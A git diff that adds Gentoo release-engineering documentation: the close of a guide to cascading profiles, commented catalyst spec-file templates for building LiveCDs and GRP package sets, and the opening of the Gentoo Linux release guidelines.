+		contains a relative path to that profile.  So, in this case, it
+		would contain: <path>../base</path>.</p>
+
+		<p>The <path>packages</path> file simply extends the
+		<b>base</b> profile's <path>packages</path> file.  It does this
+		in three ways:</p>
+		<table>
+			<tr>
+				<th>Profile Extending Method</th>
+				<th>Implementation Details</th>
+			</tr>
+			<tr>
+				<ti>Adding</ti>
+				<ti>Any package that appears in the
+				<path>default-linux/packages</path> file but is not in
+				the <path>base/packages</path> file is added to the
+				aggregate packages list.  In order to make it part of
+				<c>emerge system</c> the name of the package needs to
+				be prefixed with an asterisk thus:
+				<c>*category/package</c>.</ti>
+			</tr>
+			<tr>
+				<ti>Removing</ti>
+				<ti>While this should be a <b>rare</b> occurrence, a
+				package that appears in the <path>base</path> packages
+				list may be removed from the <path>default-linux</path>
+				aggregate packages list by prefixing it with a
+				minus sign, thus: <c>-*category/package</c> for package
+				that had been announced in the preceding levels as
+				<c>*category/package</c>.</ti>
+			</tr>
+			<tr>
+				<ti>Over-riding</ti>
+				<ti>This is specifically handy in defining minimum or
+				maximum allowed versions of a package already specified
+				in the base packages list. Any of the symbols for
+				greater than, greater than or equal to, less than, less
+				than or equal to, =, and ~ may be used as a prefix.
+				Note that since the base packages list <b>only</b>
+				defines absolute required packages (all the items are
+				prefixed with an asterisk), they need not be
+				asterisk-prefixed here.</ti>
+			</tr>
+		</table>
+
+		<p>The <path>use.default</path> file acts similarly.  You can use
+		this file to add further USE flag mappings for this profile class,
+		or override the USE flag mappings described in the parent
+		profile.</p>
+
+		<p>The <path>use.mask</path> file is used to invalidate certain USE
+		flags in this profile class.  For example, the <uri
+		link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=2">selinux
+		USE flag</uri> is valid <b>only</b> in the <path>hardened</path>
+		and <path>selinux</path> profile classes, but will wreak havoc on
+		the <path>default-linux</path> profile class.  So, it is masked
+		here.</p>
+
+		<p>Finally, the <path>virtuals</path> file extends the parent's
+		<path>virtuals</path> file.  You can again use it to add further
+		virtuals mappings that would be valid in <b>only</b> this profile,
+		or override the parent's mappings.</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>The Architecture Profiles</title>
+	<section>
+		<title>Introduction</title>
+		<body>
+		<p>With the architecture profiles, we are one step closer to
+		completing the cascading profile.  This is the level where new
+		architectures will be added.  So to recap, we have the
+		<path>base</path> profile and the <path>default-linux</path> profile
+		defining a basic minimal and architecture independent system.  For
+		most architectures, this level of the cascade (or stack, if you
+		prefer) defines some specifics.  For instance, the
+		virtual/bootloader mapping can be defined at this level, since each
+		architecture class uses a different default bootlader from the
+		others.  Additionally, there may architecture specific things that
+		are required as part of the base system, such as: <uri
+		link="http://packages.gentoo.org/package/sys-apps/sparc-utils">sparc-utils</uri>
+		for SPARC.  Some architectures prefer to mask out the architecture
+		USE flags for the other architectures.  For example. the sparc
+		profile puts <c>x86</c>, <c>ppc</c>, <c>alpha</c> and <c>mips</c>
+		into the use.mask at this level.</p>
+		</body>
+	</section>
+	<section>
+		<title>Sub-Architecture Profiles</title>
+		<body>
+		<p>This is an optional level in the cascade.  The premise here is
+		that if a family of architectures (for example, SPARC and MIPS)
+		have basically the same requirements for a basic system with only a
+		few differences (be they packages, virtuals or USE flags), those
+		are expressed here.
+		</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>The Final Profile</title>
+	<section>
+		<title>Change in Thinking</title>
+		<body>
+		<p>Part of the reason for the ballooning of profiles has been the
+		addition of a profile for every new LiveCD release.  When switching
+		over your old profiles to the new cascading system, please analyse
+		closely the real differences between your architecture's different
+		profiles.  In the case of moving the x86 profiles, we found that
+		1.4 and 2004.0 were identical.  So, in the new system, they have
+		been merged into the cascaded 2004.0 profile.</p>
+
+		<p>Together, the releng and dev-portage teams determined that the
+		ideal solution is to only create a new profile <b>when absolutely
+		necessary</b>.  The necessity is left up to the team leads and
+		architecture releng people, but a good rule of thumb is that when
+		there are major changes (for instance the gcc2 to gcc3 switch), a
+		new profile is warranted.  Additionally, it might be good to create
+		an experimental profile to test out higher toolchain versions, and
+		then later either deprecate the experimental profile, or migrate
+		the changes over to the stable profile, leaving the experimental
+		profile to move onward.  Certainly, a discussion on this philosophy
+		should be carried out, so what is written here has not been etched
+		in stone.</p>
+
+		<p>The final profile will contain one additional file indicating
+		that it is, indeed, the leaf of the cascading tree.  This file is
+		the <path>make.defaults</path> file.  Again, as above, the
+		<path>parent</path> file will point to the parent directory.  And,
+		of course, the <path>packages</path>, <path>use.defaults</path>,
+		<path>use.mask</path> and <path>virtuals</path> files can be
+		overridden and extended.  Ideally, here is where specific versions
+		of things can be locked down (or at the subarchitecture level, if
+		there is one).   Use this to concretely define your profile.</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Conclusions</title>
+	<section>
+	<body>
+	<p>Admittedly, there's a bit of tedium involved in migrating your
+	existing profile to the cascaded scheme, but the payoff at the end is
+	invaluable.  For instance, new virtuals need no longer be added to
+	every single <path>virtuals</path> file in every single profile
+	directory.  Once they're added just once at the <path>base</path> or
+	<path>default-linux</path> level, everyone can enjoy the utility of
+	it.  If there are any questions, please direct them to Seemant, ZHeN
+	or any member of the releng team.</p>
+	</body>
+	</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/docs/livecd-stage1_template.spec.txt b/xml/htdocs/proj/en/releng/docs/livecd-stage1_template.spec.txt
new file mode 100644
index 00000000..e09c1ea5
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/docs/livecd-stage1_template.spec.txt
@@ -0,0 +1,74 @@
+# livecd-stage1 example specfile
+# used to build a livecd-stage1
+
+# The subarch can be any of the supported catalyst subarches (like athlon-xp).
+# Refer to the catalyst reference manual for suppurted subarches.
+# http://www.gentoo.org/proj/en/releng/catalyst/reference.xml
+# example:
+# subarch: athlon-xp
+subarch:
+
+# The version stamp is an identifier for the build.  It can be anything you wish# it to be, but it is usually a date.
+# example:
+# version_stamp: 2005.0
+version_stamp:
+
+# The target specifies what target we want catalyst to do.  For building a CD,
+# we start with livecd-stage1 as our target.
+# example:
+# target: livecd-stage1
+target:
+
+# The rel_type defines what kind of build we are doing.  This is merely another
+# identifier, but it useful for allowing multiple concurrent builds.  Usually,
+# default will suffice.
+# example:
+# rel_type: default
+rel_type:
+
+# This is the system profile to be used by catalyst to build this target.  It is# specified as a relative path from /usr/portage/profiles.
+# example:
+# profile: default-linux/x86/2005.0
+profile:
+
+# This specifies which snapshot to use for building this target.
+# example:
+# snapshot: 20050324
+snapshot:
+
+# This specifies where the seed stage comes from for this target,  The path is
+# relative to $clst_sharedir/builds.  The rel_type is also used as a path prefix# for the seed.
+# example:
+# default/stage3-x86-2004.3
+source_subpath:
+
+# These are the hosts used as distcc slaves when distcc is enabled in your
+# catalyst.conf.  It follows the same syntax as distcc-config --set-hosts and
+# is entirely optional.
+# example:
+# distcc_hosts: 127.0.0.1 192.168.0.1
+distcc_hosts:
+
+# This is an optional directory containing portage configuration files.  It
+# follows the same syntax as /etc/portage and should be consistent across all
+# targets to minimize problems.
+# example:
+# portage_confdir: /etc/portage
+portage_confdir:
+
+# The livecd-stage1 target is where you will build packages for your CD.  These
+# packages can be built with customized USE settings.  The settings here are
+# additive to the default USE configured by the profile.  For building release
+# media, the first thing we do is disable all default USE flags with -* and then
+# begin to set our own.
+# example:
+# livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl
+livecd/use:
+
+# This is the set of packages that we will merge into the CD's filesystem.  They
+# will be built with the USE flags configured above.  These packages must not
+# depend on a configured kernel.  If the package requires a configured kernel,
+# then it will be defined elsewhere.
+# example:
+# livecd/packages: livecd-tools dhcpcd acpid apmd gentoo-sources kudzu-knoppix hotplug coldplug fxload irssi gpm syslog-ng parted links raidtools dosfstools nfs-utils jfsutils xfsprogs e2fsprogs reiserfsprogs ntfsprogs pwgen rp-pppoe screen mirrorselect penggy iputils hwdata-knoppix hwsetup lvm2 evms vim pptpclient mdadm ethtool wireless-tools prism54-firmware wpa_supplicant
+livecd/packages:
diff --git a/xml/htdocs/proj/en/releng/docs/livecd-stage2_template.spec.txt b/xml/htdocs/proj/en/releng/docs/livecd-stage2_template.spec.txt
new file mode 100644
index 00000000..719639f0
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/docs/livecd-stage2_template.spec.txt
@@ -0,0 +1,309 @@
+# livecd-stage2 example specfile
+# used to build a livecd-stage2 iso image
+
+# The subarch can be any of the supported catalyst subarches (like athlon-xp).
+# Refer to the catalyst reference manual for suppurted subarches.
+# http://www.gentoo.org/proj/en/releng/catalyst/reference.xml
+# example:
+# subarch: athlon-xp
+subarch:
+
+# The version stamp is an identifier for the build.  It can be anything you wish# it to be, but it is usually a date.
+# example:
+# version_stamp: 2005.0
+version_stamp:
+
+# The target specifies what target we want catalyst to do.  For building a CD,
+# we continue with livecd-stage2 as the target.
+# example:
+# target: livecd-stage2
+target:
+
+# The rel_type defines what kind of build we are doing.  This is merely another
+# identifier, but it useful for allowing multiple concurrent builds.  Usually,
+# default will suffice.
+# example:
+# rel_type: default
+rel_type:
+
+# This is the system profile to be used by catalyst to build this target.  It is# specified as a relative path from /usr/portage/profiles.
+# example:
+# profile: default-linux/x86/2005.0
+profile:
+
+# This specifies which snapshot to use for building this target.
+# example:
+# snapshot: 20050324
+snapshot:
+
+# This specifies where the seed stage comes from for this target,  The path is
+# relative to $clst_sharedir/builds.  The rel_type is also used as a path prefix# for the seed.
+# example:
+# default/livecd-stage1-x86-2004.3
+source_subpath:
+
+# These are the hosts used as distcc slaves when distcc is enabled in your
+# catalyst.conf.  It follows the same syntax as distcc-config --set-hosts and
+# is entirely optional.
+# example:
+# distcc_hosts: 127.0.0.1 192.168.0.1
+distcc_hosts:
+
+# This is an optional directory containing portage configuration files.  It
+# follows the same syntax as /etc/portage and should be consistent across all
+# targets to minimize problems.
+# example:
+# portage_confdir: /etc/portage
+portage_confdir:
+
+# The cdfstype is used to determine what sort of CD we should build.  This is
+# used to set the type of loopback filesystem that we will use on our CD.
+# Possible options are as follows:
+# squashfs - This gives the best compression, but requires a kernel patch.
+# zisofs - This uses in-kernel compression and is supported on all platforms.
+# normal - This creates a loop without compression.
+# noloop - This copies the files to the CD directly, withuot using a loopback.
+# example:
+# livecd/cdfstype: squashfs
+livecd/cdfstype:
+
+# The archscript is for architecture-dependent configuration.  Not all Gentoo
+# architectures use their own archscript.  Some share with other architectures
+# that are similar.
+# example:
+# livecd/archscript: /usr/lib/catalyst/livecd/runscript/x86-archscript.sh
+livecd/archscript:
+
+# The runscript is the "brains" of the livecd-stage2 target and is designed to
+# be architecturer agnostic.  It is best not to change this.
+# example:
+# livecd/runscript: /usr/lib/catalyst/livecd/runscript/default-runscript.sh
+livecd/runscript:
+
+# The cdtar is essentially the bootloader for the CD.  It also holds the main
+# configuration for the bootloader.  On x86/amd64, it also can include a small
+# memory testing application, called memtest86+.
+# example:
+# livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-2.13-memtest86+-cdtar.tar.bz2
+livecd/cdtar:
+
+# This is the full path and filename to the ISO image that the livecd-stage2
+# target will create.
+# example:
+# livecd/iso: /tmp/installcd-x86-minimal.iso
+livecd/iso:
+
+# A fsscript is simply a shell script that is copied into the chroot of the CD
+# after the kernel(s) and any external modules have been compiled and is 
+# executed within the chroot.  It can contain any commands that are available
+# via the packages installed by our stages or by the packages installed during
+# the livecd-stage1 build.  We do not use one for the official release media, so
+# there will not be one listed below.  The syntax is simply the full path and
+# filename to the shell script that you wish to execute.  The script is copied
+# into the chroot by catalyst automatically.
+# example:
+# livecd/fsscript:
+livecd/fsscript:
+
+# The splash type determines the automatic arguments for the bootloader on
+# supported architectures.  The possible options are gensplash and bootsplash.
+# example:
+# livecd/splash_type: gensplash
+livecd/splash_type:
+
+# This is where you set the splash theme.  This theme must be present in either
+# /etc/splash or /etc/bootsplash, depending on your livecd/splash_type, before
+# the kernel has completed building during the livecd-stage2 target.
+# example:
+# livecd/splash_theme: livecd-2005.0
+livecd/splash_theme:
+
+# This is a set of arguments that get passed to the bootloader for your CD.  It
+# is used on the x86/amd64 release media to enable keymap selection.
+# example:
+# livecd/bootargs: dokeymap
+livecd/bootargs:
+
+# This is a set of arguments that will be passed to genkernel for all kernels
+# defined in this target.  It is useful for passing arguments to genkernel that
+# are not otherwise available via the livecd-stage2 spec file.
+# example:
+# livecd/gk_mainargs: --lvm2 --dmraid
+livecd/gk_mainargs:
+
+# This option allows you to specify your own linuxrc script for genkernel to use# when building your CD.  This is not checked for functionality, so it is up to
+# you to debug your own script.  We do not use one for the official release
+# media, so there will not be one listed below.
+# example:
+# livecd/linuxrc:
+livecd/linuxrc:
+
+# This option controls quite a bit of catalyst internals and sets up several
+# defaults.  Each type behaves slightly differently and is explained below.
+# gentoo-release-minimal - This creates an official minimal InstallCD.
+# gentoo-release-universal - This creates an official universal InstallCD.
+# gentoo-release-livecd - This creates an official LiveCD environment.
+# gentoo-gamecd - This creates an official Gentoo GameCD.
+# generic-livecd - This should be used for all non-official media.
+# example:
+# livecd/type: gentoo-release-minimal
+livecd/type:
+
+# This is for the CD's message of the day.  It is not required for official
+# release media, as catalyst builds a default motd when the livecd/type is set
+# to one of the gentoo-* options.  This setting overrides the default motd even
+# on official media.  Since we do not use this for the official releases, it is
+# left blank below.
+# example:
+# livecd/motd:
+livecd/motd:
+
+# This is for blacklisting modules from being hotplugged that are known to cause
+# problems.  Putting a module name here will keep it from being auto-loaded,
+# even if ti is detected by hotplug.
+# example:
+# livecd/modblacklist: 8139cp
+livecd/modblacklist:
+
+# This is for adding init scripts to runlevels.  The syntax for the init script
+# is the script name, followed by a pipe, followed by the runlevel in which you
+# want the script to run.  It looks like spind|default and is space delimited.
+# We do not use this on the official media, as catalyst sets up the runlevels
+# correctly for us.  Since we do not use this, it is left blank below.
+# example:
+# livecd/rcadd:
+livecd/rcadd:
+
+# This is for removing init script from runlevels.  It is executed after the
+# defaults shipped with catalyst, so it is possible to remove the defaults using
+# this option.  It can follow the same syntax as livcd/rcadd, or you can leave
+# the runlevel off to remove the script from any runlevels detected.  We do not
+# use this on the official media, so it is left blank.
+# example:
+# livecd/rcdel:
+livecd/rcdel:
+
+# This overlay is dropped onto the CD filesystem and is outside any loop which
+# has been configured.  This is typically used for adding the documentation,
+# distfiles, snapshots, and stages to the official media.  These files will not 
+# be available if docache is enabled, as they are outside the loop.
+# example:
+# livecd/overlay: /tmp/overlay-minimal
+livecd/overlay:
+
+# This overlay is dropped onto the filesystem within the loop.  This can be used
+# for such things as updating configuration files or adding anything else you
+# would want within your CD filesystem.  Files added here are available when
+# docache is used.  We do not use this on the official media, so we will leave
+# it blank below.
+# example:
+# livecd/root_overlay:
+livecd/root_overlay:
+
+# This is here to enable udev support in both catalyst and genkernel.  This
+# option requires genkernel >= 3.1.0, and is not needed with genkernel >=3.2.0,
+# as udev is the default.
+# example:
+# livecd/devmanager: udev
+livecd/devmanager:
+
+# This is used by catalyst to copy the specified file to /etc/X11/xinit/xinitrc
+# and is used by the livecd/type gentoo-gamecd and generic-livecd.  While the
+# file will still be copied for any livecd/type, catalyst will only create the
+# necessary /etc/startx for those types, so X will not be automatically started.
+# This is useful also for setting up X on a CD where you do not wish X to start
+# automatically.  We do not use this on the release media, so it is left blank.
+# example:
+# livecd/xinitrc:
+livecd/xinitrc:
+
+# This option is used to create non-root users on your CD.  It takes a space
+# separated list of user names.  These users will be added to the following
+# groups: users,wheel,audio,games,cdrom,usb
+# If this is specified in your spec file, then the first user is also the user
+# used to start X. Since this is not used on the release media, it is blank.
+# example:
+# livecd/users:
+livecd/users:
+
+# This option sets the volume ID of the CD created.
+# example:
+# livecd/volid: Gentoo Linux 2005.0 X86
+livecd/volid:
+
+# This option is only used when creating a GameCD.  This specifies the file that
+# contains the definitions for GAME_NAME and GAME_EXECUTABLE, which are used by
+# the GameCD scripts to set some specific options for the game.  This is not
+# used on the release media, and is therefore blank.
+# example:
+# gamecd/conf:
+gamecd/conf:
+
+# This option is used to specify the number of kernels to build and also the
+# labels that will be used by the CD bootloader to refer to each kernel image.
+# example:
+# boot/kernel: gentoo
+boot/kernel:
+
+# This option tells catalyst which kernel sources to merge for this kernel
+# label.  This can use normal portage atoms to specify a specific version.
+# example:
+# boot/kernel/gentoo/sources: gentoo-sources
+boot/kernel/gentoo/sources:
+
+# This option is the full path and filename to a kernel .config file that is
+# used by genkernel to compile the kernel this label applies to.
+# example:
+# boot/kernel/gentoo/config: /tmp/2.6.11-smp.config
+boot/kernel/gentoo/config:
+
+# This option sets genkernel parameters on a per-kernel basis and applies only
+# to this kernel label.  This can be used for building options into only a
+# single kernel, where compatibility may be an issue.  Since we do not use this
+# on the official release media, it is left blank, but it follows the same
+# syntax as livecd/gk_mainargs.
+# example:
+# boot/kernel/gentoo/gk_kernargs:
+boot/kernel/gentoo/gk_kernargs:
+
+# This option sets the USE flags used to build the kernel and also any packages
+# which are defined under this kernel label.  These USE flags are additive from
+# the default USE for the specified profile.
+# example:
+# boot/kernel/gentoo/use: pcmcia usb -X
+boot/kernel/gentoo/use:
+
+# This option appends an extension to the name of your kernel, as viewed by a
+# uname -r/  This also affects any modules built under this kernel label.  This
+# is useful for having two kernels using the same sources to keep the modules
+# from overwriting each other.  We do not use this on the official media, so it
+# is left blank.
+# example:
+# boot/kernel/gentoo/extraversion:
+boot/kernel/gentoo/extraversion:
+
+# This option is for merging kernel-dependent packages and external modules that
+# are configured against this kernel label.
+# example:
+# boot/kernel/gentoo/packages: pcmcia-cs speedtouch slmodem globespan-adsl hostap-driver hostap-utils ipw2100 ipw2200 fritzcapi fcdsl cryptsetup
+boot/kernel/gentoo/packages:
+
+# This is a list of packages that will be unmerged after all the kernels have
+# been built.  There are no checks on these packages, so be careful what you
+# add here.  They can potentially break your CD.
+# example:
+# livecd/unmerge: acl attr autoconf automake bin86 binutils libtool m4 bison ld.so make perl patch linux-headers man-pages sash bison flex gettext texinfo ccache distcc addpatches man groff lib-compat miscfiles rsync sysklogd bc lcms libmng genkernel diffutils libperl gnuconfig gcc-config gcc bin86 cpio cronbase ed expat grub lilo help2man libtool gentoo-sources
+livecd/unmerge:
+
+# This option is used to empty the directories listed.  It is useful for getting
+# rid of files that don't belong to a particular package, or removing files from
+# a package that you wish to keep, but won't need the full functionality.
+# example:
+# livecd/empty: /var/tmp /var/cache /var/db /var/empty /var/lock /var/log /var/run /var/spool /var/state /tmp /usr/portage /usr/share/man /usr/share/info /usr/share/unimaps /usr/include /usr/share/zoneinfo /usr/share/dict /usr/share/doc /usr/share/ss /usr/share/state /usr/share/texinfo /usr/lib/python2.2 /usr/lib/portage /usr/share/gettext /usr/share/i18n /usr/share/rfc /usr/lib/X11/config /usr/lib/X11/etc /usr/lib/X11/doc /usr/src /usr/share/doc /usr/share/man /root/.ccache /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/logrotate.d /etc/rsync /usr/lib/awk /usr/lib/ccache /usr/lib/gcc-config /usr/lib/nfs /usr/local /usr/diet/include /usr/diet/man /usr/share/consolefonts/partialfonts /usr/share/consoletrans /usr/share/emacs /usr/share/gcc-data /usr/share/genkernel /etc/bootsplash/gentoo /etc/bootsplash/gentoo-highquality /etc/splash/gentoo /etc/splash/emergence /usr/share/gnuconfig /usr/share/lcms /usr/share/locale /etc/skel
+livecd/empty:
+
+# This option tells catalyst to clean specific files from the filesystem and is
+# very usefu in cleaning up stray files in /etc left over after livecd/unmerge.
+# example:
+# livecd/rm: /lib/*.a /usr/lib/*.a /usr/lib/gcc-lib/*/*/libgcj* /etc/dispatch-conf.conf /etc/etc-update.conf /etc/*- /etc/issue* /etc/make.conf /etc/man.conf /etc/*.old /root/.viminfo /usr/sbin/bootsplash* /usr/sbin/fb* /usr/sbin/fsck.cramfs /usr/sbin/fsck.minix /usr/sbin/mkfs.minix /usr/sbin/mkfs.bfs /usr/sbin/mkfs.cramfs /lib/security/pam_access.so /lib/security/pam_chroot.so /lib/security/pam_debug.so /lib/security/pam_ftp.so /lib/security/pam_issue.so /lib/security/pam_mail.so /lib/security/pam_motd.so /lib/security/pam_mkhomedir.so /lib/security/pam_postgresok.so /lib/security/pam_rhosts_auth.so /lib/security/pam_userdb.so /usr/share/consolefonts/1* /usr/share/consolefonts/7* /usr/share/consolefonts/8* /usr/share/consolefonts/9* /usr/share/consolefonts/A* /usr/share/consolefonts/C* /usr/share/consolefonts/E* /usr/share/consolefonts/G* /usr/share/consolefonts/L* /usr/share/consolefonts/M* /usr/share/consolefonts/R* /usr/share/consolefonts/a* /usr/share/consolefonts/c* /usr/share/consolefonts/dr* /usr/share/consolefonts/g* /usr/share/consolefonts/i* /usr/share/consolefonts/k* /usr/share/consolefonts/l* /usr/share/consolefonts/r* /usr/share/consolefonts/s* /usr/share/consolefonts/t* /usr/share/consolefonts/v* /etc/splash/livecd-2005.0/16* /etc/splash/livecd-2005.0/12* /etc/splash/livecd-2005.0/6* /etc/splash/livecd-2005.0/8* /etc/splash/livecd-2005.0/images/silent-16* /etc/splash/livecd-2005.0/images/silent-12* /etc/splash/livecd-2005.0/images/silent-6* /etc/splash/livecd-2005.0/images/silent-8* /etc/splash/livecd-2005.0/images/verbose-16* /etc/splash/livecd-2005.0/images/verbose-12* /etc/splash/livecd-2005.0/images/verbose-6* /etc/splash/livecd-2005.0/images/verbose-8* /etc/make.conf.example /etc/make.globals /etc/resolv.conf
+livecd/rm:
diff --git a/xml/htdocs/proj/en/releng/docs/packagecd_template.spec.txt b/xml/htdocs/proj/en/releng/docs/packagecd_template.spec.txt
new file mode 100644
index 00000000..7aea887f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/docs/packagecd_template.spec.txt
@@ -0,0 +1,100 @@
+# generic GRP (Gentoo Reference Platform) specfile
+# used to build a GRP set
+
+# The subarch can be any of the supported catalyst subarches (like athlon-xp).
+# Refer to the catalyst reference manual for suppurted subarches.
+# http://www.gentoo.org/proj/en/releng/catalyst/reference.xml
+# example:
+# subarch: athlon-xp
+subarch:
+
+# The version stamp is an identifier for the build.  It can be anything you wish# it to be, but it is usually a date.
+# example:
+# version_stamp: 2005.0
+version_stamp:
+
+# The target specifies what target we want catalyst to do. For GRP, the
+# supported targets are: grp
+# example:
+# target: grp
+target: grp 
+
+# The rel_type defines what kind of build we are doing.  This is merely another
+# identifier, but it useful for allowing multiple concurrent builds.  Usually,
+# default will suffice.
+# example:
+# rel_type: default
+rel_type:
+
+# This is the system profile to be used by catalyst to build this target.  It is# specified as a relative path from /usr/portage/profiles.
+# example:
+# profile: default-linux/x86/2005.0
+profile:
+
+# This specifies which snapshot to use for building this target.
+# example:
+# snapshot: 20050324
+snapshot:
+
+# This specifies where the seed stage comes from for this target,  The path is
+# relative to $clst_sharedir/builds.  The rel_type is also used as a path prefix# for the seed.
+# example:
+# default/stage3-x86-2004.3
+source_subpath:
+
+# These are the hosts used as distcc slaves when distcc is enabled in your
+# catalyst.conf.  It follows the same syntax as distcc-config --set-hosts and
+# is entirely optional.
+# example:
+# distcc_hosts: 127.0.0.1 192.168.0.1
+distcc_hosts:
+
+# This is an optional directory containing portage configuration files.  It
+# follows the same syntax as /etc/portage and should be consistent across all
+# targets to minimize problems.
+# example:
+# portage_confdir: /etc/portage
+portage_confdir:
+
+# Since GRP is capable of building packages/source sets for more than one CD,
+# this defines the layout for the directories under $clst_sharedir/builds.
+# example:
+# grp: src cd2
+grp: src cd2
+
+# GRP is also able to build packages with customized USE settings.  However, it
+# is very possible to cause quite a few problems with these, so be careful with
+# whatever USE flags you add here.  This is generally used for adding some
+# functionality that we do not want on by default for all Gentoo users, but that
+# we want on by default in our binaries.  Some examples would be things like the
+# socks5 USE flag.
+# example:
+# grp/use: gtk2 gnome kde qt bonobo cdr esd gtkhtml mozilla mysql perl ruby tcltk cups ldap ssl tcpd -svga
+grp/use:
+
+# This tells catalyst what type of GRP set this list of packages will create.
+# Valid options here are srcset or pkgset to either download the source, or to
+# build packages, respectively.
+# example:
+# grp/src/type: srcset
+grp/src/type:
+
+# Since this is a srcset, these ebuilds will have their distfiles fetched and
+# the distfiles will be stored in the src directory under $clst_sharedir/builds.
+# Packages will not be made out of this list.  We use this for grabbing things
+# that need a compiled kernel to build, or things listed in the Handbook that
+# should be available before the first reboot during an install.
+# example:
+# grp/src/packages: gentoo-sources udev vanilla-sources rp-pppoe speedtouch fcdsl fritzcapi globespan-adsl pptpclient slmodem lvm2 evms iputils vixie-cron fcron dcron sysklogd metalog syslog-ng raidtools jfsutils xfsprogs reiserfsprogs dosfstools ntfsprogs lilo grub isdn4k-utils iproute2 wireless-tools wpa_supplicant pcmcia-cs hotplug coldplug dhcpcd slocate genkernel ipw2100 ipw2200 fxload logrotate
+grp/src/packages:
+
+# This is mostly here for completeness.  This is the pkgset definition.
+# example:
+# grp/cd2/type: pkgset
+grp/cd2/type:
+
+# This is our list of packages that will comprise our package set.  These are
+# fetched, compiled, and the packages are stored under $clst_sharedir/builds.
+# example:
+# grp/cd2/packages: dante tsocks sys-apps/eject minicom links acpid apmd parted whois tcpdump cvs zip unzip netcat partimage app-admin/sudo app-cdr/cdrtools gnome emacs dev-lang/ruby enlightenment kde mozilla-firefox mozilla-thunderbird xfce4 openbox fluxbox sylpheed openoffice-bin gimp xemacs xmms abiword gaim xchat pan tetex xcdroast k3b samba nmap gradm ettercap ethereal mplayer
+grp/cd2/packages:
diff --git a/xml/htdocs/proj/en/releng/docs/release_guidelines.xml b/xml/htdocs/proj/en/releng/docs/release_guidelines.xml
new file mode 100644
index 00000000..0cd75bab
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/docs/release_guidelines.xml
@@ -0,0 +1,592 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/docs/release_guidelines.xml,v 1.17 2006/02/09 16:32:01 wolf31o2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="/proj/en/releng/docs/release_guidelines.xml">
+<title>Gentoo Linux Release Guidelines</title>
+
+<author title="Author">
+	<mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="Editor">
+	<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+	This guide covers both the QA and release guidelines for the Gentoo
+	Linux biannual release system.
+</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>2006-01-06</date>
+
+<chapter>
+	<title>Introduction</title>
+	<section>
+		<title>Main Goals</title>
+		<body>
+			<p>
+			A Gentoo Linux release should strive to be two things -- high
+			quality and low-stress. The guidelines set forth in this document
+			are an attempt to promote both while keeping within a deadline.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Release Overview</title>
+		<body>
+			<p>
+			For the Architecture Release Coordinators, the release process is
+			binary; there is the off-time which is spent in development and QA,
+			and there is the final release process which is spent doing final
+			release QA. During the entire process, Release Engineering and the
+			Architecture Release Coordinators will work closely together on
+			every aspect of the release. A critical aspect of the release
+			process is communication. If there are questions or comments
+			regarding any part of the release process, the Architecture Release
+			Coordinators should contact the Release Operations Manager, whose
+			current e-mail is always found on the
+			<uri link="http://www.gentoo.org/proj/en/releng">
+			Release Engineering project page</uri>. Specific information on
+			the release can always be found on the release information page,
+			which is at
+			<e>http://www.gentoo.org/proj/en/releng/release/${relver}/releng/${relver}.xml</e>,
+			where <c>${relver}</c> is the release version (e.g. 2005.1).
+			</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Development/QA Phase</title>
+	<section>
+		<title>Development/QA Phase Process</title>
+		<body>
+			<p>
+			Architecture Release Coordinators will spend most of their time
+			in this phase since the final release phase takes up only a small
+			percentage of the time spent on a release. The time difference is
+			not an indication that the final release process is less important
+			than the development/QA phase, but rather an understanding that
+			most of the QA for the release will have been done in the
+			development/QA phase. The final release phase has its own QA
+			requirements that will be covered later in this guide.
+			</p>
+
+			<p>
+			The entire development/QA phase should be spent fixing and closing
+			bugs, tackling the Feature Request List for the upcoming release,
+			and constantly ensuring that the release conforms to the QA
+			guidelines set forth by Release Engineering. It is strongly
+			recommended that the Architecture Release Coordinator set a
+			scheduled build cycle so that bugs and QA can be timely addressed
+			throughout the entire process. For example, weekly or bi-weekly
+			builds give the Architecture Release Coordinator a "heads up" on
+			what is going on with their release.
+			</p>
+
+			<p>
+			During this phase, Release Engineering is available at all times
+			for any and everything. If there are questions or concerns,
+			hardware or resource requests, or anything else, please contact
+			the Release Operations Manager.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Development/QA Phase QA Guidelines</title>
+		<body>
+			<p>
+			The following QA guidelines should be worked towards constantly
+			during this phase of the release. Doing so will ensure that the
+			architecture to be released will in fact be released on-time and
+			complete. Release Engineering reserves the right to block the
+			release of any architecture that does not conform to these QA
+			guidelines. This ensures a consistent face for the distribution to
+			our user base.
+			</p>
+
+			<table>
+				<tr>
+					<th>Guideline</th>
+					<th>Description</th>
+				</tr>
+				<tr>
+					<ti>Is the architecture on the release list?</ti>
+					<ti>Contact the Release Operations Manager if it is not.
+					The release list will be posted by the Operations
+					Manager at the beginning of the release process. It is
+					also available on the release information page for the
+					specified release.</ti>
+				</tr>
+				<tr>
+					<ti>Have the features designated in the release Feature
+					Roadmap applicable to the architecture been completed?</ti>
+					<ti>All features that are relevant to the architecture must
+					be completed for the release. Contact the Operations
+					Manager if there are extenuating circumstances which will
+					prevent these features from being completed.</ti>
+				</tr>
+				<tr>
+					<ti>Are the applicable core packages listed on the release
+					information page being used?</ti>
+					<ti>If applicable to the arch, certain core packages are to
+					be utilized to maintain consistency.</ti>
+				</tr>
